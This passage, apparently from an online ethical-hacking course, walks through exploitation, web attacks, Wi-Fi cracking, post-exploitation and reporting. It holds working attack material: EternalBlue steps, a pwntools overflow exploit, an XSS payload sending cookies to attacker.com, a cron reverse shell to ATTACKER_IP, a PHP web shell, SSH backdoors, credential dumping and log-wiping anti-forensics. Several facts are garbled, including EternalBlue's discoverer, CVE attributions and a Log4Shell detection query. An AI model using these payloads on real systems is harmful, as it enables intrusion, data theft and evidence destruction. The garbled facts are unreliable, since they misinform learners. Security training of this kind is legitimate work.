# 2️⃣ Search for the appropriate exploit module
search ms17_010

# 3️⃣ Load the module (use the fully‑qualified path)
use exploit/windows/smb/ms17_010_eternalblue

# 4️⃣ Set the target’s address (RHOSTS)
set RHOSTS 192.168.1.45

# 5️⃣ Choose a payload – Meterpreter staged reverse TCP
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 6️⃣ Set the listener address (your Kali/Attacker IP)
set LHOST 192.168.1.10

# 7️⃣ Verify all required options are set
show options

# 8️⃣ (Optional) Bypass AV signatures with encoding
set ENCODER x86/shikata_ga_nai
set EXITFUNC thread

# 9️⃣ Launch the exploit
exploit -j   # running in a job lets you keep the console free

# 10️⃣ You should now have a Meterpreter session.
sessions -i 1   # interact with the first session

Pro‑Tip: Use setg to set global variables (e.g., LHOST) before loading many exploits; this saves typing on each module.

5️⃣ Common Exploitation Techniques (Deep Dive)

5.1 Buffer Overflow Exploitation

Three variants are most relevant to modern systems:

  1. Stack‑based overflow – overwrites the saved return address.
  2. Heap‑based overflow – corrupts heap metadata (e.g., malloc chunks).
  3. Format‑string abuse – exploits unchecked printf‑style functions.

Below is a minimal 64‑bit Linux “stack buffer overflow” PoC using pwntools:

exploit.py
#!/usr/bin/env python3
from pwn import *

# -------------------------------------------------
# Target binary – compiled with -fno-stack-protector -z execstack
# -------------------------------------------------
binary = "./vuln"
elf    = ELF(binary)

# -------------------------------------------------
# Offset to RIP (64‑bit) – discovered via cyclic pattern
# -------------------------------------------------
offset =  cyclic_find(b"kaaaiaaa")   #  cyclic_find(“kaaaiaaa”) → 72

# -------------------------------------------------
# Payload: NOP sled + shellcode + overwrite RIP
# -------------------------------------------------
shell = asm(shellcraft.sh())
payload = b"A" * offset
payload += p64(elf.sym["main"])   # re‑enter main after shellcode (optional)
payload = payload.ljust(112, b"\x90")   # NOP sled
payload += shell

io = process(binary)
io.sendlineafter(b"> ", payload)
io.interactive()

Key take‑aways:

  • ASLR – disable echo 0 > /proc/sys/kernel/randomize_va_space on test VMs, or brute‑force with ret2dlresolve tricks.
  • DEP/NX – bypass with mprotect ROP chain or use execstack for learning.
  • Canaries – leak the canary via format‑string or side‑channel before overflow.

5.2 Return‑Oriented Programming (ROP)

When DEP blocks executable stack, the attacker chains together existing gadgets ending in ret. A concise one‑gadget (e.g., one_gadget) can replace an entire ROP chain on glibc 2.31.

ROP‑Chain (Linux x86_64)
; Example: execve("/bin/sh", NULL, NULL)
; Assume we have a writable .bss section at 0x601800

; 1. Write "/bin/sh" into .bss
pop rdi ; ret      ; 0x400123
0x601800           ; address to write
pop rsi ; ret      ; 0x400456
0x0068732f2f6e6962 ; "/bin/sh"
mov [rdi], rsi ; ret ; 0x400789

; 2. Set registers for execve
pop rdi ; ret      ; 0x400123
0x601800           ; pointer to "/bin/sh"
xor rsi, rsi ; ret ; 0x400456   (rsi = 0)
xor rdx, rdx ; ret ; 0x400789   (rdx = 0)
pop rax ; ret      ; 0x400abc
0x3b                ; syscall number for execve
syscall ; ret      ; 0x400def

Tools for gadget hunting:

  • rp++ – fast automated gadget extraction.
  • ROPgadget – classic, works on Windows PE binaries too.
  • Online GTFOBins – useful for privilege escalation gadgets.

5.3 Use‑After‑Free (UaF) Exploits

A UaF occurs when an attacker causes the application to free a heap object and then reuses the dangling pointer. Modern browsers and the Linux kernel frequently disallow simple UaF exploitation, but tcache poisoning (glibc 2.27+) and front‑ending techniques (JIT spraying) still make it viable.

Typical exploitation steps:

  1. Trigger a free of an object you control (often a heap‑allocated struct).
  2. Allocate a new object of the same size with attacker‑controlled data.
  3. Manipulate a function pointer (e.g., __free_hook) to point at shellcode or a ROP chain.
c‑example.c (simplified UaF)
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef struct {
    void (*callback)(void);
    char  data[64];
} obj_t;

void secret(void) {
    system("/bin/sh");
}

int main() {
    obj_t *a = malloc(sizeof(obj_t));
    obj_t *b = malloc(sizeof(obj_t));

    a->callback = NULL;
    strcpy(a->data, "A safe string");
    free(a);               // <--- free

    // *** Attack ***
    // b occupies same heap slot as a, and we overflow b->data
    // writing 8‑bytes beyond b->data to overwrite a->callback:
    memset(b->data, 'A', 72);  // overflow by 8 bytes
    memcpy(b->data + 72, &secret, sizeof(void*));

    // a is dangling but still reachable
    a->callback();         // executes secret()
    return 0;
}

On modern hardened binaries this would be blocked by RELRO (Read‑Only Relocations) unless -z relro is disabled. The exercise is to explore the effect of each hardening flag.

5.4 Web‑Application Exploits (SQLi, XSS, RCE)

SQL Injection – Advanced Payload

/* Blind Boolean‑Based SQLi – time delay payload */
' OR IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=97,SLEEP(5),0)--

This payload checks the first character of the admin password and forces the server to pause for 5 seconds if it matches 'a' (ASCII 97). By iterating over characters you can reconstruct the secret.

Cross‑Site Scripting – Bypass CSP

<svg/onload='fetch("https://attacker.com/steal?c="+document.cookie)'>

Even when a strict Content‑Security‑Policy (CSP) is set, a svg element with an onload handler can be an effective XSS vector in legacy browsers.

File Inclusion – LFI → RCE

Chaining a local file inclusion with php://filter and zip:// wrappers can lead to remote code execution:

?file=php://filter/convert.base64-decode/resource=../../../../etc/passwd
?file=zip://shell.zip#shell.php   // if a writable upload directory exists

6️⃣ Payload Types – Classification & Practical Usage

CategoryStaged vs. StagelessTypical Use‑CasePros/Cons
Reverse Shell Both – Most frameworks use staged for size‑efficiency. Pen‑testing, C2 server in DMZ. Pros: Works behind NAT (target initiates); Cons: Requires open inbound port on attacker.
Bind Shell Stageless (full payload bound to listener). Internal network where attacker can scan. Pros: No outbound traffic needed; Cons: Blocked by host‑based firewalls.
Meterpreter Staged (default) – initial stub pulls the rest. Rapid post‑exploitation (file system, keylogging, tunneling). Pros: Rich API, evasion (encoded); Cons: Detectable by AV signatures if not encoded.
Stageless Shellcode Stageless – entire shellcode in one blob. When space is limited (e.g., Windows SMB header). Pros: No extra network round‑trips; Cons: Large size may break vulnerable input.
Encrypted / Encoded Payloads Staged – each stage can be encoded (xor, base64, polymorphic). Evasion of signature‑based IDS/AV. Pros: Simple obfuscation; Cons: Still vulnerable to behavior‑based detection.
In‑Memory ROP‑Based Payload Stageless (single ROP chain). When code injection is blocked but ROP is possible. Pros: No writable memory needed; Cons: Complex to craft, mitigations like CFG block it.

When dealing with a target that runs Windows Exploit Protection (DEP, ASLR, CFG), your payload selection must adapt accordingly (e.g., use msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai with the -b "\x00" option to avoid null‑bytes).

7️⃣ Post‑Exploitation – Advanced Techniques & Toolset

Credential Dumping & Lateral Movement

  • Mimikatzprivilege::debug, sekurlsa::logonpasswords, kerberos::list.
    Tip: Use mimi (Cobalt Strike’s built‑in mimikatz) for stealth – it injects via reflective DLL.
  • LaZagne – pulls credentials from browsers, Wi‑Fi, stored passwords.
  • SecretsDump.py (Impacket) – remote NTLM hash extraction via SMB.

Token Impersonation & Pass‑the‑Hash/Ticket

  • incognito (PowerShell) – creates new tokens from dumped hashes.
  • psexec.py (Impacket) – classic Pass‑the‑Hash for SMB.
  • kekeo – Kerberoasting, extracting service tickets for cracking.

Privilege Escalation (Windows)

TechniqueCommon ArtefactReference
Unquoted Service Path Executable in PATH with spaces (e.g., C:\Program Files\MyApp\app.exe) GTFOBins – Unquoted Service Path
Always‑Elevated Privilege (AlwaysInstallElevated) Registry key HKLM\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated MS16‑032
DLL Hijacking Search for folders in PATH writable by a low‑priv user. Project Zero – DLL hijack examples.
Junction/Symbolic Link Abuse (CVE‑2021‑34473) Abusing NTFS reparse points to write to privileged locations. MSF exploit/windows/local/junction

Persistence Mechanisms

  • Registry Run Keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run)
  • Scheduled Tasks (schtasks /create) – with hidden XML.
  • Service creation (sc create) with binary planted in %APPDATA%.
  • Web Shells / Backdoors on compromised web servers (e.g., c99shell, php-reverse-shell).

Cleanup & Anti‑Forensics

  • Clear Windows Event Logs: wevtutil cl Security
  • Delete Bash history (history -c) and .bash_history file.
  • Overwrite files using dd if=/dev/zero of=tmpfile bs=1M count=10 conv=notrunc before deletion.
  • Remove evidence of Metasploit sessions: sessions -K and rm -f /tmp/meterpreter*.

8️⃣ Legal & Ethical Considerations

⚖️ Rule of Engagement (RoE)
  • Obtain written permission that details:
    • Scope – IP ranges, systems, and data.
    • Allowed tools & techniques (e.g., no DoS attacks).
    • Time window – when testing may occur.
  • Follow the ZDI Responsible Disclosure Policy (or your client’s policy).
  • Document every step – a clear chain‑of‑custody protects you legally.

9️⃣ Real‑World Exploit Case Studies

Case Study A – EternalBlue (CVE‑2017‑0144)

  1. Discovery: Security researcher shadowb0x (June 2017) identified a missing bounds check in the SMBv1 TRANS2_SESSION_SETUP request.
  2. Impact: Remote code execution on unpatched Windows 7/2008 R2/XP; exploited by WannaCry ransomware causing >$4 B damage.
  3. Mitigation:
    • Disable SMBv1 (Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "SMB1" -Value 0).
    • Patch MS17‑010 (released March 2017).
  4. Forensic Artefacts: Execution of lsass.exe from a non‑system directory, anomalous SMB traffic on port 445.

Case Study B – Log4Shell (CVE‑2021‑44228)

  • Vector: JNDI lookup via ${jndi:ldap://attacker.com/a} in the Log4j message pattern.
  • Impact: Remote code execution across any Java app using Log4j 2.0‑2.14.1; affected billions of servers.
  • Mitigation Timeline:
    1. Update to Log4j 2.15.0 (Dec 2021) – disables JNDI lookups.
    2. Set system property log4j2.formatMsgNoLookups=true as a temporary fix.
    3. Network‑level blocking of outbound LDAP/RMI on port 1389 and 1099.
  • Detection:
    Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} | ? {$_.Message -match 'jndi:ldap'}
    

Case Study C – BlueKeep (CVE‑2019‑0708)

This RDP vulnerability allows unauthenticated remote code execution on Windows 7/Server 2008 R2. The exploit chain typically uses a crafted RDP packet to trigger a heap overflow in MS_TSCOMP.

After successful exploitation, the payload often uploads a Meterpreter binary via the RDP virtual channel.

Microsoft issued a patch under emergency update (July 2019). The “WannaCry‑style” worm was never released publicly, but the Metasploit module remains a preferred teaching tool.

10️⃣ Exploit Landscape – Statistics & Trends (2022‑2024)

YearTotal Public CVEsExploits Published (Exploit‑DB)Average CVSS (Critical ≥9.0)
202218,3285,1129.4
202321,0456,4879.6
2024 (YTD)9,0122,9849.5

Key observations:

  • ≈ 30 % of CVEs get a public exploit within 60 days of disclosure – MITRE CVE data.
  • RCE remains the top‑ranked CVSS vector (44 % of critical CVEs).
  • Exploitation of cloud mis‑configurations (S3 buckets, Azure storage) grew > 250 % YoY (Shodan “cloud‑exposed” dataset).

For a visual representation, see the (placeholder) SVG chart below. In a production LMS you could replace it with a Chart.js interactive chart.

Chart.js interactive graph goes here

11️⃣ Cheat‑Sheet – Exploitation Quick Reference

Common Metasploit Flags

# Set a global variable (applies to all modules)
setg LHOST 10.0.0.5

# Show all options for a module
show options

# Check for a module’s prerequisites
check

# Background a session after a successful exploit
exploit -j -z   # -j = job, -z = background

# List all open sessions
sessions -l

# Interact with a specific session
sessions -i 2

pwntools One‑Liner (Linux x86_64)

from pwn import *
io = remote('target', 1337)
payload = b'A'*72 + p64(0xdeadbeef)   # overwrite RIP
io.sendline(payload)
io.interactive()

Common Encoders (Metasploit)

  • x86/shikata_ga_nai – polymorphic XOR encoder.
  • cmd/powershell_base64 – encodes PowerShell payloads.
  • generic/none – raw payload (use with care!).

Useful Scripts (Impacket)

# Dump NTLM hashes from a remote Windows host
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -hashes : user@target

# Execute a command via SMB
python3 /usr/share/doc/python3-impacket/examples/psexec.py user:pass@target cmd.exe

12️⃣ Knowledge‑Check Quiz (5 questions)

  1. Which Windows mitigation makes return‑oriented programming (ROP) difficult?
    DEP (NX)
    ASLR
    CFG (Control‑Flow Guard)
  2. In a classic SMB CVE‑2017‑0144 exploit, which protocol version must be enabled on the target?
    SMBv1
    SMBv2
    SMBv3
  3. What is the most reliable way to bypass a strict CSP that only allows script-src 'self'?
  4. Which of the following is a stageless payload?
  5. When performing a “Pass‑the‑Hash” attack, which credential is actually used on the wire?

Answers are provided at the end of the lecture (hidden by default).

Show Answers
  1. C – CFG is specifically designed to block ROP.
  2. A – SMBv1 must be enabled for EternalBlue.
  3. Inject a script tag via an allowed HTML attribute (e.g., onerror on an img tag) – style‑based XSS or DOM‑based XSS bypasses CSP.
  4. Reverse Shell that includes a full Meterpreter bin (e.g., windows/x64/meterpreter_reverse_tcp with -b "\x00").
  5. The NTLM hash is used directly; the clear‑text password is never transmitted.

13️⃣ Further Reading & Resources

  • Books
    • The Shellcoder’s Handbook – Chris Anley et al.
    • Practical Binary Analysis – Dennis Andriesse.
    • Windows Kernel Exploitation – Alex Ionescu.
    • Web Application Hackers Handbook – Dafydd Stuttard & Marcus Pinto.
  • Online Platforms
  • Tools & Frameworks
    • Metasploit Framework – GitHub.
    • Cobalt Strike – commercial red‑team platform (offers Beacon payloads).
    • Immunity CANVAS – commercial exploitation suite.
    • Ghidra / IDA Pro – binary analysis for custom exploit development.
    • pwntools – Python library for rapid exploit prototyping.
    • radare2 – open‑source reverse‑engineering framework.
    • Burp Suite Pro – Intruder/Repeater for web‑app exploitation.
  • Research & CVE Feeds

14️⃣ Lab Exercises (Extended)

🎯 Exercise 7.1 – Safe Exploitation Lab (Metasploitable 2)

Goal: Gain two distinct Meterpreter sessions using two different exploits, then harvest password hashes.

  1. Launch nmap -sS -p‑‑ -A 10.10.0.0/24 and identify three vulnerable services.
  2. Select one remote code execution (e.g., vsftpd 2.3.4 backdoor) and one local privilege escalation (e.g., dirtycow).
  3. Use msfconsole to launch each exploit, set LHOST, RHOST and appropriate PAYLOAD.
  4. After each successful session, run hashdump to collect /etc/passwd and /etc/shadow (Linux) or hashdump (Windows).
  5. Write a short lab report (≤ 500 words) covering:
    • Target(s) and services
    • Exploit selection rationale
    • Post‑exploitation commands used
    • Lessons learned (e.g., why a particular payload failed).

Deliverables: Screenshot of each Meterpreter session, extracted hash file (redacted), and the written report.

🎯 Exercise 7.2 – Real‑World Exploit Report

Pick **one** of the following public exploits and produce a 1‑page technical brief:

  • EternalBlue (CVE‑2017‑0144)
  • Log4Shell (CVE‑2021‑44228)
  • Spring4Shell (CVE‑2022‑22965)
  • PrintNightmare (CVE‑2021‑34527)

Your brief must include:

  1. Discovery timeline (who reported, when).
  2. Underlying vulnerability class (e.g., deserialization, RCE, overflow).
  3. Sample malicious payload (pseudo‑code; do not provide a fully functional exploit).
  4. Impact metrics (estimated number of affected hosts, CVSS, real‑world incidents).
  5. Mitigation steps (patches, configuration changes, detection signatures).

Reference at least **two** reputable sources (security‑vendor advisory, academic paper, or CVE entry).

🎯 Exercise 7.3 – Craft a Minimal ROP Chain (Linux x86_64)

Using the provided vulnerable binary vuln (compiled with -fno-stack-protector -z execstack -no-pie), write a 64‑bit ROP chain that spawns a /bin/sh shell.

  1. Identify three useful gadgets with ROPgadget --binary vuln | grep ret.
  2. Assemble the chain in a Python script using pwntools and send it over a netcat listener.
  3. Document each gadget’s address and purpose (e.g., pop rdi ; ret → load /bin/sh address).
  4. Explain how you would bypass ASLR if the binary were compiled PIE.

Submit the Python script, a screenshot of the successful shell, and a short write‑up.

Lecture 08 · Core Concepts

Web Application Security

Advanced ~75 min Requires: Lecture 07

Why Web Apps Are Prime Targets

Web applications are exposed to the internet, process user input, and often connect to databases and internal systems. This makes them a high-value target for attackers.

  • Accessible from anywhere
  • Handle sensitive data (logins, payments)
  • Complex logic → more chances of bugs
🧠 Reality
Most real-world breaches happen through web applications—not networks.

1. OWASP Top 10 (2021)

Rank Vulnerability Impact Example
A01 Broken Access Control Unauthorized actions User accesses admin panel
A02 Cryptographic Failures Data leaks Passwords stored in plaintext
A03 Injection Database compromise SQL Injection login bypass
A04 Insecure Design Logical flaws No rate limiting on login
A05 Misconfiguration Exposure Debug mode enabled
A10 SSRF Internal access Accessing AWS metadata

2. Understanding HTTP (CRITICAL)

You must understand how web apps communicate.

GET /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session=abc123

Key Components

  • Headers → metadata
  • Cookies → session tracking
  • Parameters → user input (attack surface)

3. SQL Injection (Deep Dive)

Occurs when user input is directly used in SQL queries.

' OR '1'='1' --
1 UNION SELECT username,password FROM users --

Attack Flow

  1. Find input field (login/search)
  2. Inject payload
  3. Observe response changes
  4. Extract data

Example

username=admin' OR '1'='1
password=anything

→ Bypasses login authentication

Automated Testing

sqlmap -u "http://target.com/login.php?id=1" --dbs

4. Cross-Site Scripting (XSS)

Injecting JavaScript into a web page.

<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>

Types

  • Stored → Saved on server
  • Reflected → Immediate response
  • DOM-based → Client-side only

Impact

  • Session hijacking
  • Credential theft
  • Defacing websites

5. Command Injection

Occurs when user input is passed to system commands.

; ls -la
| whoami
&& cat /etc/passwd

Example

If input is:

ping 127.0.0.1; whoami

→ Executes extra command on server

6. Authentication & Session Attacks

  • Weak passwords
  • No rate limiting (brute force)
  • Session fixation
  • Session hijacking
Set-Cookie: session=abc123

If stolen → attacker becomes user.

7. Directory & Endpoint Discovery

gobuster dir -u http://target.com -w wordlist.txt
ffuf -u http://target.com/FUZZ -w wordlist.txt

Find hidden:

  • /admin
  • /backup
  • /api

8. API Security Testing

Modern apps rely heavily on APIs.

GET /api/users/1
Authorization: Bearer token

Common Issues

  • IDOR (Insecure Direct Object Reference)
  • Missing authentication
  • Rate limiting issues

9. Testing Tools (Professional Stack)

  • Burp Suite — Intercept & modify requests
  • OWASP ZAP — Automated scanning
  • SQLMap — SQL injection
  • FFUF — Fast fuzzing
  • Postman — API testing

10. Secure Development Practices

  • Input validation & sanitization
  • Use prepared statements
  • Implement authentication controls
  • Use HTTPS everywhere
  • Apply Content Security Policy (CSP)
🔥 Advanced Tip
The most critical bugs are often business logic flaws—not simple injections.
🎯 Exercise 8.1 — Practical Testing

On DVWA / Juice Shop:
1. Intercept requests with Burp Suite
2. Test login for SQLi
3. Inject XSS payload
4. Discover hidden directories

🎯 Exercise 8.2 — Analysis

Choose one vulnerability and explain:
• How it works
• How to exploit it
• How to fix it

🔥 Challenge

Perform a full web app test and create a report:
• Vulnerabilities found
• Exploitation steps
• Impact
• Fixes

Lecture 09 · Advanced

Wireless & Mobile Hacking (Practical Lab)

Advanced ~75 min Requires: Lecture 08

⚠️ Lab Setup (IMPORTANT)

This is a hands-on module. You MUST use:

  • Your own Wi-Fi network OR lab environment
  • Kali Linux (or similar)
  • USB Wi-Fi adapter that supports monitor mode
⚠️ Legal Warning
Only test networks you own or have permission to test.

1. Wi-Fi Hacking Fundamentals (Practical Understanding)

What You Are Actually Attacking

In Wi-Fi attacks, you are NOT directly "hacking the router". You are attacking:

  • Authentication process (handshake)
  • Weak passwords
  • Misconfigured features (WPS)
🧠 Key Insight
WPA2 is not “broken” — weak passwords are.

2. Lab 1 — Monitor Mode & Network Discovery

Step 1: Enable Monitor Mode

airmon-ng check kill
airmon-ng start wlan0

Result: wlan0 → wlan0mon

Step 2: Scan Networks

airodump-ng wlan0mon

What to Look For

  • BSSID → Router MAC
  • Channel → Important for targeting
  • ENC → WPA2 / WPA3
  • Clients → Connected devices

Example Output

BSSID              CH  ENC   ESSID
AA:BB:CC:DD:EE:FF  6   WPA2  MyWiFi

3. Lab 2 — Capturing WPA2 Handshake

Step 1: Lock onto Target

airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

Step 2: Force Reconnection (Deauth)

aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

This forces devices to reconnect → handshake is captured.

Success Indicator

"WPA handshake: AA:BB:CC..."

💡 Tip
No clients = no handshake. You need at least one connected device.

4. Lab 3 — Cracking WPA2 Password

aircrack-ng capture.cap -w rockyou.txt

What Happens

  • Tool compares handshake against wordlist
  • If password is weak → cracked
  • If strong → attack fails

Example Result

KEY FOUND! [ password123 ]

5. Lab 4 — WPS Attack (Fast Method)

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

WPS uses a PIN → easier to brute-force than passwords.

⚠️ Reality
Many modern routers disable WPS due to this vulnerability.

6. Evil Twin Attack (Concept + Practical)

Create a fake Wi-Fi with same name → trick users.

wifiphisher

Attack Flow

  1. Create fake AP
  2. Disconnect real users
  3. Victim connects to fake AP
  4. Capture credentials

7. Mobile Hacking (Practical Basics)

Android APK Analysis

apktool d app.apk
jadx-gui app.apk

What to Look For

  • Hardcoded passwords
  • API keys
  • Hidden endpoints

Dynamic Testing (Runtime)

adb devices
adb shell
frida -U -n app

Allows you to inspect and manipulate app behavior live.

8. Bluetooth Attacks (Practical Awareness)

hcitool scan
bluetoothctl

Example

  • Discover nearby devices
  • Attempt pairing attacks

9. Common Mistakes Beginners Make

  • No monitor mode support → nothing works
  • Trying WPA3 → usually not crackable
  • No clients → no handshake
  • Weak wordlists → no success
🎯 Reality Check
90% of success depends on:
• Weak passwords
• Misconfigurations
• User mistakes

10. Defense (VERY IMPORTANT)

  • Use WPA3 or strong WPA2 passwords
  • Disable WPS
  • Use hidden SSID (basic protection)
  • Enable MAC filtering (limited security)
  • Monitor connected devices
🎯 Lab Exercise 9.1 — Full Attack Chain

In your lab:
1. Enable monitor mode
2. Scan networks
3. Capture handshake
4. Attempt password cracking
5. Document results

🎯 Lab Exercise 9.2 — Mobile Analysis

Download a test APK:
• Decompile it
• Find sensitive data
• Write findings

🔥 Challenge

Simulate a real penetration test:
• Wi-Fi recon
• Capture handshake
• Attempt crack
• Analyze mobile app
• Write full report

Lecture 10 · Advanced

Post-Exploitation & Persistence (Practical Lab)

Advanced ~70 min Requires: Lecture 09

⚠️ Lab Context

You already have access (shell or Meterpreter). Now your job is to:

  • Understand the system
  • Escalate privileges
  • Maintain access
  • Extract value
🧠 Operator Mindset
Don’t rush. First understand the system → then act.

1. Phase 1 — Situational Awareness (Enumeration)

This is ALWAYS your first step after access.

# Basic identity
whoami
id

# System info
uname -a
hostname

# Network
ip addr
netstat -tuln

# Processes
ps aux

# Users
cat /etc/passwd

What You Are Looking For

  • Are you root/admin?
  • What OS + version?
  • What services are running?
  • Other users on system?

Example Insight

uid=1000(user) gid=1000(user)

→ You are NOT root → privilege escalation needed

2. Phase 2 — Privilege Escalation (Hands-On)

Quick Automated Check

linpeas.sh

Manual Checks (IMPORTANT)

Sudo Permissions

sudo -l

Example

(ALL) NOPASSWD: /usr/bin/python

→ You can escalate:

sudo python -c 'import os; os.system("/bin/bash")'

SUID Files

find / -perm -4000 2>/dev/null

Look for unusual binaries.

Kernel Exploit Check

uname -r

Search for exploit matching kernel version.

💡 Real Skill
Privilege escalation is about misconfigurations—not magic exploits.

3. Phase 3 — Credential Hunting

# Search for passwords
grep -r "password" /home 2>/dev/null

# Check bash history
cat ~/.bash_history

# Config files
cat /var/www/html/config.php

Example

$db_password = "admin123";

→ Try reuse for SSH or other services

4. Phase 4 — Persistence (Maintain Access)

Method 1: Cron Job (Linux)

crontab -e
*/5 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Method 2: SSH Backdoor

mkdir -p ~/.ssh
echo "ATTACKER_PUBLIC_KEY" >> ~/.ssh/authorized_keys

Method 3: Web Shell

echo "<?php system($_GET['cmd']); ?>" > shell.php

Access via browser:

http://target/shell.php?cmd=whoami

Windows Persistence

schtasks /create /tn "Updater" /tr "evil.exe" /sc minute /mo 5

5. Phase 5 — Lateral Movement

Move to other machines using stolen credentials.

ssh user@192.168.1.20

Pivoting Example

ssh -D 9050 user@target

→ Use target as proxy to access internal network

6. Phase 6 — Data Collection (NOT DESTRUCTIVE)

ls /home
cat /etc/shadow
tar -czf data.tar.gz /var/www

Exfiltration (Lab Only)

scp data.tar.gz user@attacker_ip:/tmp/
⚠️ Critical Rule
Never exfiltrate real sensitive data in real environments.

7. Full Attack Chain Example

  1. Gain shell (web exploit)
  2. Run enumeration (whoami, uname)
  3. Find sudo misconfig
  4. Escalate to root
  5. Dump credentials
  6. Add SSH key (persistence)
  7. Move to another machine
🎯 Reality
Real hacking is chaining small weaknesses—not one big exploit.

8. Detection & Defense (VERY IMPORTANT)

  • Monitor unusual cron jobs
  • Check SSH authorized_keys
  • Audit running processes
  • Use EDR (Endpoint Detection)
  • Apply least privilege principle

9. Common Beginner Mistakes

  • Skipping enumeration → missing easy escalation
  • Using exploits blindly
  • Not documenting steps
  • Breaking the system (too aggressive)
🎯 Lab 10.1 — Full Post-Exploitation

On a lab machine:
1. Gain shell
2. Enumerate system
3. Escalate privileges
4. Add persistence (SSH or cron)
5. Collect non-sensitive data

🎯 Lab 10.2 — Analysis

Document:
• How you escalated privileges
• What vulnerability allowed it
• How to fix it

🔥 Challenge

Simulate a real pentest:
• Initial access
• Privilege escalation
• Persistence
• Lateral movement
• Report everything

Lecture 11 · Advanced

Reporting & Legal Aspects (Practical Lab)

Advanced ~65 min Requires: Lecture 10

🎯 Objective (What You Will Produce)

By the end of this lab, you will create a **real penetration testing report** from your previous exercises (scanning, exploitation, post-exploitation).

🧠 Reality
Clients don’t pay for hacks — they pay for clear, actionable reports.

1. Step-by-Step Reporting Workflow

  1. Collect evidence (screenshots, logs, commands)
  2. Verify vulnerability (avoid false positives)
  3. Assess impact (what can attacker do?)
  4. Assign severity (Critical/High/Medium/Low)
  5. Write clear reproduction steps
  6. Provide remediation

2. Evidence Collection (VERY PRACTICAL)

What to Capture

  • Terminal output
  • Screenshots of exploitation
  • Tool results (Nmap, Burp, etc.)
# Save scan output
nmap -sV target.com -oN scan.txt

# Save command history
history > commands.txt
💡 Tip
Every finding must be reproducible from your evidence.

3. Writing a Real Vulnerability (Hands-On)

Example: SQL Injection Finding

Vulnerability: SQL Injection
Severity: Critical

Affected URL:
http://target.com/login.php?id=1

Description:
The application does not properly sanitize user input, allowing SQL queries to be manipulated.

Proof of Concept:
Input:
' OR '1'='1' --

Result:
Login bypass successful

Impact:
• Unauthorized access
• Database compromise

Recommendation:
• Use prepared statements
• Validate user input

What Makes This Good

  • Clear location
  • Exact payload used
  • Shows impact
  • Fix is actionable

4. Report Template (Use This in Labs)

===============================
PENETRATION TEST REPORT
===============================

Target: [Lab Machine / Domain]
Date: [Insert Date]

1. Executive Summary
- Overall Risk: HIGH
- Key Issues: Weak passwords, outdated services

2. Methodology
- Recon → Scanning → Exploitation → Post-Exploitation

3. Findings

[Finding 1]
Name:
Severity:
Description:
Proof of Concept:
Impact:
Recommendation:

[Finding 2]
...

4. Conclusion
- System is vulnerable due to misconfigurations

5. Remediation Plan
- Fix critical issues immediately

5. Severity Rating (Practical Method)

Instead of memorizing CVSS, ask:

  • Can attacker get admin/root? → Critical
  • Can attacker access sensitive data? → High
  • Limited access? → Medium
  • Minor issue? → Low

Example

Open Port 80 → Low
Directory Listing → Medium
SQL Injection → Critical

6. Legal Aspects (Practical Understanding)

Before Testing (Mandatory)

  • Written permission
  • Defined scope (IPs, domains)
  • Time window

Example Scope

Allowed:
192.168.1.0/24

Not Allowed:
Production servers
Third-party services

During Testing

  • No data destruction
  • No service disruption
  • Stay within scope

After Testing

  • Delete collected sensitive data
  • Submit report securely
⚠️ Critical Rule
Testing without permission = illegal hacking.

7. Common Reporting Mistakes

  • Too technical for management
  • No proof of concept
  • No remediation steps
  • Copy-paste from tools without explanation

8. Lab Exercise — Build Your First Report

🎯 Lab 11.1 — Full Report

Using your previous labs:
1. Pick ONE vulnerability
2. Write full finding (PoC, impact, fix)
3. Add screenshots/logs
4. Assign severity

🎯 Lab 11.2 — Mini Engagement

Simulate a real pentest:
• Scan target
• Find vulnerability
• Exploit (lab only)
• Write full report

🔥 Challenge

Create a professional PDF report:
• Cover page
• Executive summary
• 3+ findings
• Remediation plan

Lecture 12 · Capstone

Capstone Project: Full Penetration Test

Advanced ~120 min + ongoing Requires: All Previous Lectures

Project Overview

Congratulations! You have reached the final lecture. Now you will perform a **complete, realistic penetration test** on a vulnerable target, following professional methodology.

Target Environment

Use one of these legal lab environments:

  • Metasploitable 2 / 3
  • TryHackMe / HackTheBox machines (recommended)
  • DVWA + VulnHub VMs
  • Your own isolated virtual lab

Capstone Requirements

Phase 1: Reconnaissance & Footprinting

  • Passive information gathering (WHOIS, Google Dorks, Shodan)
  • Active host & service discovery

Phase 2: Scanning & Enumeration

  • Full port scanning with Nmap
  • Service version detection
  • Web directory brute-forcing
  • SMB / SNMP enumeration (if applicable)

Phase 3: Vulnerability Analysis & Exploitation

  • Identify at least 3 exploitable vulnerabilities
  • Gain initial shell access (Meterpreter or reverse shell)
  • Perform privilege escalation

Phase 4: Post-Exploitation & Persistence

  • Establish persistence
  • Extract sensitive data / credentials
  • Demonstrate lateral movement (if multiple machines)

Phase 5: Reporting

  • Write a full professional penetration testing report
  • Include Executive Summary, Methodology, Findings with PoC, Risk Ratings, and Remediation Recommendations
🚀 Success Criteria

You should be able to:

  • Compromise at least one machine with root/admin access
  • Document everything clearly
  • Provide actionable remediation steps

Bonus Challenges (Optional)

  • Crack captured password hashes
  • Perform a client-side attack (phishing simulation)
  • Exploit a web application vulnerability manually
  • Create a custom payload / bypass antivirus
🎯 Final Capstone Deliverable

Submit a complete penetration testing report (PDF) including all phases above. This report should be written as if you are presenting it to a real client.

🎉 Congratulations!

You have completed the full Ethical Hacking Mastery course. You now possess the foundational and practical skills required to begin your journey as an ethical hacker / penetration tester.

Next Steps: Practice on HackTheBox, TryHackMe, or CTF platforms. Consider certifications like CEH, eJPT, or OSCP.

Lecture 13 · Advanced

Social Engineering

